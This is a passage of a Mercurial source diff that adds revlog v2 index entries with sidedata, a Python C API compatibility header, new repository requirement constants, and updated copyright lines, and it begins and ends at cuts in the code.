// self.entry_size self._extra = [] def _calculate_index(self, i): - return i * indexsize + return i * self.entry_size def __delitem__(self, i): if not isinstance(i, slice) or not i.stop == -1 or i.step is not None: @@ -135,7 +142,7 @@ self._check_index(i) self._stripnodes(i) if i < self._lgt: - self._data = self._data[: i * indexsize] + self._data = self._data[: i * self.entry_size] self._lgt = i self._extra = [] else: @@ -198,14 +205,16 @@ if lgt is not None: self._offsets = [0] * lgt count = 0 - while off <= len(self._data) - indexsize: + while off <= len(self._data) - self.entry_size: + start = off + self.big_int_size (s,) = struct.unpack( - b'>i', self._data[off + indexfirst : off + sizeint + indexfirst] + b'>i', + self._data[start : start + self.int_size], ) if lgt is not None: self._offsets[count] = off count += 1 - off += indexsize + s + off += self.entry_size + s if off != len(self._data): raise ValueError(b"corrupted data") return count @@ -227,10 +236,68 @@ return self._offsets[i] -def parse_index2(data, inline): +def parse_index2(data, inline, revlogv2=False): if not inline: - return IndexObject(data), None - return InlinedIndexObject(data, inline), (0, data) + cls = IndexObject2 if revlogv2 else IndexObject + return cls(data), None + cls = InlinedIndexObject2 if revlogv2 else InlinedIndexObject + return cls(data, inline), (0, data) + + +class Index2Mixin(object): + index_format = revlog_constants.INDEX_ENTRY_V2 + null_item = (0, 0, 0, -1, -1, -1, -1, nullid, 0, 0) + + def replace_sidedata_info(self, i, sidedata_offset, sidedata_length): + """ + Replace an existing index entry's sidedata offset and length with new + ones. + This cannot be used outside of the context of sidedata rewriting, + inside the transaction that creates the revision `i`. + """ + if i < 0: + raise KeyError + self._check_index(i) + sidedata_format = b">Qi" + packed_size = struct.calcsize(sidedata_format) + if i >= self._lgt: + packed = _pack(sidedata_format, sidedata_offset, sidedata_length) + old = self._extra[i - self._lgt] + new = old[:64] + packed + old[64 + packed_size :] + self._extra[i - self._lgt] = new + else: + msg = b"cannot rewrite entries outside of this transaction" + raise KeyError(msg) + + +class IndexObject2(Index2Mixin, IndexObject): + pass + + +class InlinedIndexObject2(Index2Mixin, InlinedIndexObject): + def _inline_scan(self, lgt): + sidedata_length_pos = 72 + off = 0 + if lgt is not None: + self._offsets = [0] * lgt + count = 0 + while off <= len(self._data) - self.entry_size: + start = off + self.big_int_size + (data_size,) = struct.unpack( + b'>i', + self._data[start : start + self.int_size], + ) + start = off + sidedata_length_pos + (side_data_size,) = struct.unpack( + b'>i', self._data[start : start + self.int_size] + ) + if lgt is not None: + self._offsets[count] = off + count += 1 + off += self.entry_size + data_size + side_data_size + if off != len(self._data): + raise ValueError(b"corrupted data") + return count def parse_index_devel_nodemap(data, inline): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pushkey.py --- a/mercurial/pushkey.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pushkey.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # pushkey.py - dispatching for pushing and pulling keys # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pvec.py --- a/mercurial/pvec.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pvec.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # pvec.py - probabilistic vector clocks for Mercurial # -# Copyright 2012 Matt Mackall +# Copyright 2012 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pythoncapi_compat.h --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/mercurial/pythoncapi_compat.h Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,283 @@ +// Header file providing new functions of the Python C API to old Python +// versions. +// +// File distributed under the MIT license. +// +// Homepage: +// https://github.com/pythoncapi/pythoncapi_compat +// +// Latest version: +// https://raw.githubusercontent.com/pythoncapi/pythoncapi_compat/master/pythoncapi_compat.h + +#ifndef PYTHONCAPI_COMPAT +#define PYTHONCAPI_COMPAT + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include "frameobject.h" // PyFrameObject, PyFrame_GetBack() + + +/* VC 2008 doesn't know about the inline keyword. */ +#if defined(_MSC_VER) && _MSC_VER < 1900 +#define inline __forceinline +#endif + +// Cast argument to PyObject* type. +#ifndef _PyObject_CAST +# define _PyObject_CAST(op) ((PyObject*)(op)) +#endif + + +// bpo-42262 added Py_NewRef() to Python 3.10.0a3 +#if PY_VERSION_HEX < 0x030a00A3 && !defined(Py_NewRef) +static inline PyObject* _Py_NewRef(PyObject *obj) +{ + Py_INCREF(obj); + return obj; +} +#define Py_NewRef(obj) _Py_NewRef(_PyObject_CAST(obj)) +#endif + + +// bpo-42262 added Py_XNewRef() to Python 3.10.0a3 +#if PY_VERSION_HEX < 0x030a00A3 && !defined(Py_XNewRef) +static inline PyObject* _Py_XNewRef(PyObject *obj) +{ + Py_XINCREF(obj); + return obj; +} +#define Py_XNewRef(obj) _Py_XNewRef(_PyObject_CAST(obj)) +#endif + + +// bpo-39573 added Py_SET_REFCNT() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_REFCNT) +static inline void _Py_SET_REFCNT(PyObject *ob, Py_ssize_t refcnt) +{ + ob->ob_refcnt = refcnt; +} +#define Py_SET_REFCNT(ob, refcnt) _Py_SET_REFCNT((PyObject*)(ob), refcnt) +#endif + + +// bpo-39573 added Py_SET_TYPE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_TYPE) +static inline void +_Py_SET_TYPE(PyObject *ob, PyTypeObject *type) +{ + ob->ob_type = type; +} +#define Py_SET_TYPE(ob, type) _Py_SET_TYPE((PyObject*)(ob), type) +#endif + + +// bpo-39573 added Py_SET_SIZE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_SET_SIZE) +static inline void +_Py_SET_SIZE(PyVarObject *ob, Py_ssize_t size) +{ + ob->ob_size = size; +} +#define Py_SET_SIZE(ob, size) _Py_SET_SIZE((PyVarObject*)(ob), size) +#endif + + +// bpo-40421 added PyFrame_GetCode() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyCodeObject* +PyFrame_GetCode(PyFrameObject *frame) +{ + PyCodeObject *code; + assert(frame != NULL); + code = frame->f_code; + assert(code != NULL); + Py_INCREF(code); + return code; +} +#endif + +static inline PyCodeObject* +_PyFrame_GetCodeBorrow(PyFrameObject *frame) +{ + PyCodeObject *code = PyFrame_GetCode(frame); + Py_DECREF(code); + return code; // borrowed reference +} + + +// bpo-40421 added PyFrame_GetCode() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyFrameObject* +PyFrame_GetBack(PyFrameObject *frame) +{ + PyFrameObject *back; + assert(frame != NULL); + back = frame->f_back; + Py_XINCREF(back); + return back; +} +#endif + +static inline PyFrameObject* +_PyFrame_GetBackBorrow(PyFrameObject *frame) +{ + PyFrameObject *back = PyFrame_GetBack(frame); + Py_XDECREF(back); + return back; // borrowed reference +} + + +// bpo-39947 added PyThreadState_GetInterpreter() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline PyInterpreterState * +PyThreadState_GetInterpreter(PyThreadState *tstate) +{ + assert(tstate != NULL); + return tstate->interp; +} +#endif + + +// bpo-40429 added PyThreadState_GetFrame() to Python 3.9.0b1 +#if PY_VERSION_HEX < 0x030900B1 +static inline PyFrameObject* +PyThreadState_GetFrame(PyThreadState *tstate) +{ + PyFrameObject *frame; + assert(tstate != NULL); + frame = tstate->frame; + Py_XINCREF(frame); + return frame; +} +#endif + +static inline PyFrameObject* +_PyThreadState_GetFrameBorrow(PyThreadState *tstate) +{ + PyFrameObject *frame = PyThreadState_GetFrame(tstate); + Py_XDECREF(frame); + return frame; // borrowed reference +} + + +// bpo-39947 added PyInterpreterState_Get() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline PyInterpreterState * +PyInterpreterState_Get(void) +{ + PyThreadState *tstate; + PyInterpreterState *interp; + + tstate = PyThreadState_GET(); + if (tstate == NULL) { + Py_FatalError("GIL released (tstate is NULL)"); + } + interp = tstate->interp; + if (interp == NULL) { + Py_FatalError("no current interpreter"); + } + return interp; +} +#endif + + +// bpo-39947 added PyInterpreterState_Get() to Python 3.9.0a6 +#if 0x030700A1 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x030900A6 +static inline uint64_t +PyThreadState_GetID(PyThreadState *tstate) +{ + assert(tstate != NULL); + return tstate->id; +} +#endif + + +// bpo-37194 added PyObject_CallNoArgs() to Python 3.9.0a1 +#if PY_VERSION_HEX < 0x030900A1 +static inline PyObject* +PyObject_CallNoArgs(PyObject *func) +{ + return PyObject_CallFunctionObjArgs(func, NULL); +} +#endif + + +// bpo-39245 made PyObject_CallOneArg() public (previously called +// _PyObject_CallOneArg) in Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 +static inline PyObject* +PyObject_CallOneArg(PyObject *func, PyObject *arg) +{ + return PyObject_CallFunctionObjArgs(func, arg, NULL); +} +#endif + + +// bpo-40024 added PyModule_AddType() to Python 3.9.0a5 +#if PY_VERSION_HEX < 0x030900A5 +static inline int +PyModule_AddType(PyObject *module, PyTypeObject *type) +{ + const char *name, *dot; + + if (PyType_Ready(type) < 0) { + return -1; + } + + // inline _PyType_Name() + name = type->tp_name; + assert(name != NULL); + dot = strrchr(name, '.'); + if (dot != NULL) { + name = dot + 1; + } + + Py_INCREF(type); + if (PyModule_AddObject(module, name, (PyObject *)type) < 0) { + Py_DECREF(type); + return -1; + } + + return 0; +} +#endif + + +// bpo-40241 added PyObject_GC_IsTracked() to Python 3.9.0a6. +// bpo-4688 added _PyObject_GC_IS_TRACKED() to Python 2.7.0a2. +#if PY_VERSION_HEX < 0x030900A6 +static inline int +PyObject_GC_IsTracked(PyObject* obj) +{ + return (PyObject_IS_GC(obj) && _PyObject_GC_IS_TRACKED(obj)); +} +#endif + +// bpo-40241 added PyObject_GC_IsFinalized() to Python 3.9.0a6. +// bpo-18112 added _PyGCHead_FINALIZED() to Python 3.4.0 final. +#if PY_VERSION_HEX < 0x030900A6 && PY_VERSION_HEX >= 0x030400F0 +static inline int +PyObject_GC_IsFinalized(PyObject *obj) +{ + return (PyObject_IS_GC(obj) && _PyGCHead_FINALIZED((PyGC_Head *)(obj)-1)); +} +#endif + + +// bpo-39573 added Py_IS_TYPE() to Python 3.9.0a4 +#if PY_VERSION_HEX < 0x030900A4 && !defined(Py_IS_TYPE) +static inline int +_Py_IS_TYPE(const PyObject *ob, const PyTypeObject *type) { + return ob->ob_type == type; +} +#define Py_IS_TYPE(ob, type) _Py_IS_TYPE((const PyObject*)(ob), type) +#endif + + +#ifdef __cplusplus +} +#endif +#endif // PYTHONCAPI_COMPAT diff -r bc268ea9f984 -r f67b8946bb1b mercurial/repair.py --- a/mercurial/repair.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/repair.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,7 +1,7 @@ # repair.py - functions for repository repair for mercurial # # Copyright 2005, 2006 Chris Mason -# Copyright 2007 Matt Mackall +# Copyright 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -28,11 +28,11 @@ pycompat, requirements, scmutil, - util, ) from .utils import ( hashutil, stringutil, + urlutil, ) @@ -245,7 +245,7 @@ tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile) txnname = b'strip' if not isinstance(gen, bundle2.unbundle20): - txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl) + txnname = b"strip\n%s" % urlutil.hidepassword(tmpbundleurl) with repo.transaction(txnname) as tr: bundle2.applybundle( repo, gen, tr, source=b'strip', url=tmpbundleurl @@ -308,11 +308,12 @@ if not tostrip: return None - newbmtarget, updatebm = _bookmarkmovements(repo, tostrip) + backupfile = None if backup: node = tostrip[0] backupfile = _createstripbackup(repo, tostrip, node, topic) + newbmtarget, updatebm = _bookmarkmovements(repo, tostrip) with repo.transaction(b'strip') as tr: phases.retractboundary(repo, tr, phases.archived, tostrip) bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm] @@ -427,7 +428,7 @@ if scmutil.istreemanifest(repo): # This logic is safe if treemanifest isn't enabled, but also # pointless, so we skip it if treemanifest isn't enabled. - for unencoded, encoded, size in repo.store.datafiles(): + for t, unencoded, encoded, size in repo.store.datafiles(): if unencoded.startswith(b'meta/') and unencoded.endswith( b'00manifest.i' ): @@ -442,7 +443,7 @@ """ repo = repo.unfiltered() - if b'fncache' not in repo.requirements: + if requirements.FNCACHE_REQUIREMENT not in repo.requirements: ui.warn( _( b'(not rebuilding fncache because repository does not ' diff -r bc268ea9f984 -r f67b8946bb1b mercurial/requirements.py --- a/mercurial/requirements.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/requirements.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,12 +1,17 @@ # requirements.py - objects and functions related to repository requirements # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from __future__ import absolute_import +GENERALDELTA_REQUIREMENT = b'generaldelta' +DOTENCODE_REQUIREMENT = b'dotencode' +STORE_REQUIREMENT = b'store' +FNCACHE_REQUIREMENT = b'fncache' + # When narrowing is finalized and no longer subject to format changes, # we should move this to just "narrow" or similar. NARROW_REQUIREMENT = b'narrowhg-experimental' @@ -21,9 +26,11 @@ # Stores manifest in Tree structure TREEMANIFEST_REQUIREMENT = b'treemanifest' +REVLOGV1_REQUIREMENT = b'revlogv1' + # Increment the sub-version when the revlog v2 format changes to lock out old # clients. -REVLOGV2_REQUIREMENT = b'exp-revlogv2.1' +REVLOGV2_REQUIREMENT = b'exp-revlogv2.2' # A repository with the sparserevlog feature will have delta chains that # can spread over a larger span. Sparse reading cuts these large spans into diff -r bc268ea9f984 -r f67b8946bb1b mercurial/revlog.py --- a/mercurial/revlog.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/revlog.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # revlog.py - storage back-end for mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -13,6 +13,7 @@ from __future__ import absolute_import +import binascii import collections import contextlib import errno @@ -28,6 +29,7 @@ nullhex, nullid, nullrev, + sha1nodeconstants, short, wdirfilenodeids, wdirhex, @@ -39,6 +41,10 @@ from .revlogutils.constants import ( FLAG_GENERALDELTA, FLAG_INLINE_DATA, + INDEX_ENTRY_V0, + INDEX_ENTRY_V1, + INDEX_ENTRY_V2, + INDEX_HEADER, REVLOGV0, REVLOGV1, REVLOGV1_FLAGS, @@ -119,10 +125,10 @@ # Flag processors for REVIDX_ELLIPSIS. def ellipsisreadprocessor(rl, text): - return text, False, {} - - -def ellipsiswriteprocessor(rl, text, sidedata): + return text, False + + +def ellipsiswriteprocessor(rl, text): return text, False @@ -203,6 +209,7 @@ baserevisionsize = attr.ib() revision = attr.ib() delta = attr.ib() + sidedata = attr.ib() linknode = attr.ib(default=None) @@ -214,20 +221,9 @@ node = attr.ib(default=None) -# index v0: -# 4 bytes: offset -# 4 bytes: compressed length -# 4 bytes: base rev -# 4 bytes: link rev -# 20 bytes: parent 1 nodeid -# 20 bytes: parent 2 nodeid -# 20 bytes: nodeid -indexformatv0 = struct.Struct(b">4l20s20s20s") -indexformatv0_pack = indexformatv0.pack -indexformatv0_unpack = indexformatv0.unpack - - class revlogoldindex(list): + entry_size = INDEX_ENTRY_V0.size + @property def nodemap(self): msg = b"index.nodemap is deprecated, use index.[has_node|rev|get_rev]" @@ -279,11 +275,8 @@ class revlogoldio(object): - def __init__(self): - self.size = indexformatv0.size - def parseindex(self, data, inline): - s = self.size + s = INDEX_ENTRY_V0.size index = [] nodemap = nodemaputil.NodeMap({nullid: nullrev}) n = off = 0 @@ -291,7 +284,7 @@ while off + s <= l: cur = data[off : off + s] off += s - e = indexformatv0_unpack(cur) + e = INDEX_ENTRY_V0.unpack(cur) # transform to revlogv1 format e2 = ( offset_type(e[0], 0), @@ -311,6 +304,13 @@ return index, None def packentry(self, entry, node, version, rev): + """return the binary representation of an entry + + entry: a tuple containing all the values (see index.__getitem__) + node: a callback to convert a revision to nodeid + version: the changelog version + rev: the revision number + """ if gettype(entry[0]): raise error.RevlogError( _(b'index entry flags need revlog version 1') @@ -324,24 +324,8 @@ node(entry[6]), entry[7], ) - return indexformatv0_pack(*e2) - - -# index ng: -# 6 bytes: offset -# 2 bytes: flags -# 4 bytes: compressed length -# 4 bytes: uncompressed length -# 4 bytes: base rev -# 4 bytes: link rev -# 4 bytes: parent 1 rev -# 4 bytes: parent 2 rev -# 32 bytes: nodeid -indexformatng = struct.Struct(b">Qiiiiii20s12x") -indexformatng_pack = indexformatng.pack -versionformat = struct.Struct(b">I") -versionformat_pack = versionformat.pack -versionformat_unpack = versionformat.unpack + return INDEX_ENTRY_V0.pack(*e2) + # corresponds to uncompressed length of indexformatng (2 gigs, 4-byte # signed integer) @@ -349,18 +333,27 @@ class revlogio(object): - def __init__(self): - self.size = indexformatng.size - def parseindex(self, data, inline): # call the C implementation to parse the index data index, cache = parsers.parse_index2(data, inline) return index, cache def packentry(self, entry, node, version, rev): - p = indexformatng_pack(*entry) + p = INDEX_ENTRY_V1.pack(*entry) if rev == 0: - p = versionformat_pack(version) + p[4:] + p = INDEX_HEADER.pack(version) + p[4:] + return p + + +class revlogv2io(object): + def parseindex(self, data, inline): + index, cache = parsers.parse_index2(data, inline, revlogv2=True) + return index, cache + + def packentry(self, entry, node, version, rev): + p = INDEX_ENTRY_V2.pack(*entry) + if rev == 0: + p = INDEX_HEADER.pack(version) + p[4:] return p @@ -421,6 +414,11 @@ If `upperboundcomp` is not None, this is the expected maximal gain from compression for the data content. + + `concurrencychecker` is an optional function that receives 3 arguments: a + file handle, a filename, and an expected position. It should check whether + the current position in the file handle is valid, and log/warn/fail (by + raising). """ _flagserrorclass = error.RevlogError @@ -435,6 +433,7 @@ censorable=False, upperboundcomp=None, persistentnodemap=False, + concurrencychecker=None, ): """ create a revlog object @@ -448,14 +447,9 @@ self.datafile = datafile or (indexfile[:-2] + b".d") self.nodemap_file = None if persistentnodemap: - if indexfile.endswith(b'.a'): - pending_path = indexfile[:-4] + b".n.a" - if opener.exists(pending_path): - self.nodemap_file = pending_path - else: - self.nodemap_file = indexfile[:-4] + b".n" - else: - self.nodemap_file = indexfile[:-2] + b".n" + self.nodemap_file = nodemaputil.get_nodemap_file( + opener, self.indexfile + ) self.opener = opener # When True, indexfile is opened with checkambig=True at writing, to @@ -495,6 +489,8 @@ self._loadindex() + self._concurrencychecker = concurrencychecker + def _loadindex(self): mmapindexthreshold = None opts = self.opener.options @@ -531,8 +527,6 @@ if self._mmaplargeindex and b'mmapindexthreshold' in opts: mmapindexthreshold = opts[b'mmapindexthreshold'] self.hassidedata = bool(opts.get(b'side-data', False)) - if self.hassidedata: - self._flagprocessors[REVIDX_SIDEDATA] = sidedatautil.processors self._sparserevlog = bool(opts.get(b'sparse-revlog', False)) withsparseread = bool(opts.get(b'with-sparse-read', False)) # sparse-revlog forces sparse-read @@ -575,7 +569,7 @@ else: indexdata = f.read() if len(indexdata) > 0: - versionflags = versionformat_unpack(indexdata[:4])[0] + versionflags = INDEX_HEADER.unpack(indexdata[:4])[0] self._initempty = False else: versionflags = newversionflags @@ -617,7 +611,11 @@ % (flags >> 16, fmt, self.indexfile) ) - self._inline = versionflags & FLAG_INLINE_DATA + # There is a bug in the transaction handling when going from an + # inline revlog to a separate index and data file. Turn it off until + # it's fixed, since v2 revlogs sometimes get rewritten on exchange. + # See issue6485 + self._inline = False # generaldelta implied by version 2 revlogs. self._generaldelta = True @@ -625,6 +623,10 @@ raise error.RevlogError( _(b'unknown version (%d) in revlog %s') % (fmt, self.indexfile) ) + + self.nodeconstants = sha1nodeconstants + self.nullid = self.nodeconstants.nullid + # sparse-revlog can't be on without general-delta (issue6056) if not self._generaldelta: self._sparserevlog = False @@ -647,6 +649,8 @@ self._io = revlogio() if self.version == REVLOGV0: self._io = revlogoldio() + elif fmt == REVLOGV2: + self._io = revlogv2io() elif devel_nodemap: self._io = NodemapRevlogIO() elif use_rust_index: @@ -831,6 +835,11 @@ def length(self, rev): return self.index[rev][1] + def sidedata_length(self, rev): + if self.version & 0xFFFF != REVLOGV2: + return 0 + return self.index[rev][9] + def rawsize(self, rev): """return the length of the uncompressed text for a given revision""" l = self.index[rev][2] @@ -875,8 +884,10 @@ if rev == wdirrev: raise error.WdirUnsupported raise - - return entry[5], entry[6] + if entry[5] == nullrev: + return entry[6], entry[5] + else: + return entry[5], entry[6] # fast parentrevs(rev) where rev isn't filtered _uncheckedparentrevs = parentrevs @@ -897,7 +908,11 @@ def parents(self, node): i = self.index d = i[self.rev(node)] - return i[d[5]][7], i[d[6]][7] # map revisions to nodes inline + # inline node() to avoid function call overhead + if d[5] == nullid: + return i[d[6]][7], i[d[5]][7] + else: + return i[d[5]][7], i[d[6]][7] def chainlen(self, rev): return self._chaininfo(rev)[0] @@ -1694,8 +1709,8 @@ end = int(iend[0] >> 16) + iend[1] if self._inline: - start += (startrev + 1) * self._io.size - end += (endrev + 1) * self._io.size + start += (startrev + 1) * self.index.entry_size + end += (endrev + 1) * self.index.entry_size length = end - start return start, self._getsegment(start, length, df=df) @@ -1729,7 +1744,7 @@ start = self.start length = self.length inline = self._inline - iosize = self._io.size + iosize = self.index.entry_size buffer = util.buffer l = [] @@ -1828,7 +1843,7 @@ elif operation == b'read': return flagutil.processflagsread(self, text, flags) else: # write operation - return flagutil.processflagswrite(self, text, flags, None) + return flagutil.processflagswrite(self, text, flags) def revision(self, nodeorrev, _df=None, raw=False): """return an uncompressed revision of a given node or revision @@ -1873,10 +1888,17 @@ # revision or might need to be processed to retrieve the revision. rev, rawtext, validated = self._rawtext(node, rev, _df=_df) + if self.version & 0xFFFF == REVLOGV2: + if rev is None: + rev = self.rev(node) + sidedata = self._sidedata(rev) + else: + sidedata = {} + if raw and validated: # if we don't want to process the raw text and that raw # text is cached, we can exit early. - return rawtext, {} + return rawtext, sidedata if rev is None: rev = self.rev(node) # the revlog's flag for this revision @@ -1885,20 +1907,14 @@ if validated and flags == REVIDX_DEFAULT_FLAGS: # no extra flags set, no flag processor runs, text = rawtext - return rawtext, {} - - sidedata = {} + return rawtext, sidedata + if raw: validatehash = flagutil.processflagsraw(self, rawtext, flags) text = rawtext else: - try: - r = flagutil.processflagsread(self, rawtext, flags) - except error.SidedataHashError as exc: - msg = _(b"integrity check failed on %s:%s sidedata key %d") - msg %= (self.indexfile, pycompat.bytestr(rev), exc.sidedatakey) - raise error.RevlogError(msg) - text, validatehash, sidedata = r + r = flagutil.processflagsread(self, rawtext, flags) + text, validatehash = r if validatehash: self.checkhash(text, node, rev=rev) if not validated: @@ -1949,6 +1965,21 @@ del basetext # let us have a chance to free memory early return (rev, rawtext, False) + def _sidedata(self, rev): + """Return the sidedata for a given revision number.""" + index_entry = self.index[rev] + sidedata_offset = index_entry[8] + sidedata_size = index_entry[9] + + if self._inline: + sidedata_offset += self.index.entry_size * (1 + rev) + if sidedata_size == 0: + return {} + + segment = self._getsegment(sidedata_offset, sidedata_size) + sidedata = sidedatautil.deserialize_sidedata(segment) + return sidedata + def rawdata(self, nodeorrev, _df=None): """return an uncompressed raw data of a given node or revision number. @@ -2041,7 +2072,7 @@ # the temp file replace the real index when we exit the context # manager - tr.replace(self.indexfile, trindex * self._io.size) + tr.replace(self.indexfile, trindex * self.index.entry_size) nodemaputil.setup_persistent_nodemap(tr, self) self._chunkclear() @@ -2082,20 +2113,15 @@ if sidedata is None: sidedata = {} - flags = flags & ~REVIDX_SIDEDATA elif not self.hassidedata: raise error.ProgrammingError( _(b"trying to add sidedata to a revlog who don't support them") ) - else: - flags |= REVIDX_SIDEDATA if flags: node = node or self.hash(text, p1, p2) - rawtext, validatehash = flagutil.processflagswrite( - self, text, flags, sidedata=sidedata - ) + rawtext, validatehash = flagutil.processflagswrite(self, text, flags) # If the flag processor modifies the revision data, ignore any provided # cachedelta. @@ -2111,8 +2137,9 @@ ) node = node or self.hash(rawtext, p1, p2) - if self.index.has_node(node): - return node + rev = self.index.get_rev(node) + if rev is not None: + return rev if validatehash: self.checkhash(rawtext, node, p1=p1, p2=p2) @@ -2127,6 +2154,7 @@ flags, cachedelta=cachedelta, deltacomputer=deltacomputer, + sidedata=sidedata, ) def addrawrevision( @@ -2140,6 +2168,7 @@ flags, cachedelta=None, deltacomputer=None, + sidedata=None, ): """add a raw revision with known flags, node and parents useful when reusing a revision not stored in this revlog (ex: received @@ -2162,6 +2191,7 @@ ifh, dfh, deltacomputer=deltacomputer, + sidedata=sidedata, ) finally: if dfh: @@ -2237,7 +2267,9 @@ compressor = engine.revlogcompressor(self._compengineopts) self._decompressors[t] = compressor except KeyError: - raise error.RevlogError(_(b'unknown compression type %r') % t) + raise error.RevlogError( + _(b'unknown compression type %s') % binascii.hexlify(t) + ) return compressor.decompress(data) @@ -2255,6 +2287,7 @@ dfh, alwayscache=False, deltacomputer=None, + sidedata=None, ): """internal function to add revisions to the log @@ -2287,7 +2320,23 @@ curr = len(self) prev = curr - 1 - offset = self.end(prev) + + offset = self._get_data_offset(prev) + + if self._concurrencychecker: + if self._inline: + # offset is "as if" it were in the .d file, so we need to add on + # the size of the entry metadata. + self._concurrencychecker( + ifh, self.indexfile, offset + curr * self.index.entry_size + ) + else: + # Entries in the .i are a consistent size. + self._concurrencychecker( + ifh, self.indexfile, curr * self.index.entry_size + ) + self._concurrencychecker(dfh, self.datafile, offset) + p1r, p2r = self.rev(p1), self.rev(p2) # full versions are inserted when the needed deltas @@ -2309,6 +2358,16 @@ deltainfo = deltacomputer.finddeltainfo(revinfo, fh) + if sidedata: + serialized_sidedata = sidedatautil.serialize_sidedata(sidedata) + sidedata_offset = offset + deltainfo.deltalen + else: + serialized_sidedata = b"" + # Don't store the offset if the sidedata is empty, that way + # we can easily detect empty sidedata and they will be no different + # than ones we manually add. + sidedata_offset = 0 + e = ( offset_type(offset, flags), deltainfo.deltalen, @@ -2318,12 +2377,24 @@ p1r, p2r, node, + sidedata_offset, + len(serialized_sidedata), ) + + if self.version & 0xFFFF != REVLOGV2: + e = e[:8] + self.index.append(e) - entry = self._io.packentry(e, self.node, self.version, curr) self._writeentry( - transaction, ifh, dfh, entry, deltainfo.data, link, offset + transaction, + ifh, + dfh, + entry, + deltainfo.data, + link, + offset, + serialized_sidedata, ) rawtext = btext[0] @@ -2334,9 +2405,31 @@ if type(rawtext) == bytes: # only accept immutable objects self._revisioncache = (node, curr, rawtext) self._chainbasecache[curr] = deltainfo.chainbase - return node - - def _writeentry(self, transaction, ifh, dfh, entry, data, link, offset): + return curr + + def _get_data_offset(self, prev): + """Returns the current offset in the (in-transaction) data file. + Versions < 2 of the revlog can get this 0(1), revlog v2 needs a docket + file to store that information: since sidedata can be rewritten to the + end of the data file within a transaction, you can have cases where, for + example, rev `n` does not have sidedata while rev `n - 1` does, leading + to `n - 1`'s sidedata being written after `n`'s data. + + TODO cache this in a docket file before getting out of experimental.""" + if self.version & 0xFFFF != REVLOGV2: + return self.end(prev) + + offset = 0 + for rev, entry in enumerate(self.index): + sidedata_end = entry[8] + entry[9] + # Sidedata for a previous rev has potentially been written after + # this rev's end, so take the max. + offset = max(self.end(rev), offset, sidedata_end) + return offset + + def _writeentry( + self, transaction, ifh, dfh, entry, data, link, offset, sidedata + ): # Files opened in a+ mode have inconsistent behavior on various # platforms. Windows requires that a file positioning call be made # when the file handle transitions between reads and writes. See @@ -2360,13 +2453,17 @@ if data[0]: dfh.write(data[0]) dfh.write(data[1]) + if sidedata: + dfh.write(sidedata) ifh.write(entry) else: - offset += curr * self._io.size + offset += curr * self.index.entry_size transaction.add(self.indexfile, offset) ifh.write(entry) ifh.write(data[0]) ifh.write(data[1]) + if sidedata: + ifh.write(sidedata) self._enforceinlinesize(transaction, ifh) nodemaputil.setup_persistent_nodemap(transaction, self) @@ -2375,6 +2472,7 @@ deltas, linkmapper, transaction, + alwayscache=False, addrevisioncb=None, duplicaterevisioncb=None, ): @@ -2397,7 +2495,7 @@ if r: end = self.end(r - 1) ifh = self._indexfp(b"a+") - isize = r * self._io.size + isize = r * self.index.entry_size if self._inline: transaction.add(self.indexfile, end + isize) dfh = None @@ -2418,15 +2516,16 @@ deltacomputer = deltautil.deltacomputer(self) # loop through our set of deltas for data in deltas: - node, p1, p2, linknode, deltabase, delta, flags = data + node, p1, p2, linknode, deltabase, delta, flags, sidedata = data link = linkmapper(linknode) flags = flags or REVIDX_DEFAULT_FLAGS - if self.index.has_node(node): + rev = self.index.get_rev(node) + if rev is not None: # this can happen if two branches make the same change - self._nodeduplicatecallback(transaction, node) + self._nodeduplicatecallback(transaction, rev) if duplicaterevisioncb: - duplicaterevisioncb(self, node) + duplicaterevisioncb(self, rev) empty = False continue @@ -2464,7 +2563,7 @@ # We're only using addgroup() in the context of changegroup # generation so the revision data can always be handled as raw # by the flagprocessor. - self._addrevision( + rev = self._addrevision( node, None, transaction, @@ -2475,12 +2574,13 @@ (baserev, delta), ifh, dfh, - alwayscache=bool(addrevisioncb), + alwayscache=alwayscache, deltacomputer=deltacomputer, + sidedata=sidedata, ) if addrevisioncb: - addrevisioncb(self, node) + addrevisioncb(self, rev) empty = False if not dfh and not self._inline: @@ -2551,9 +2651,9 @@ end = self.start(rev) if not self._inline: transaction.add(self.datafile, end) - end = rev * self._io.size + end = 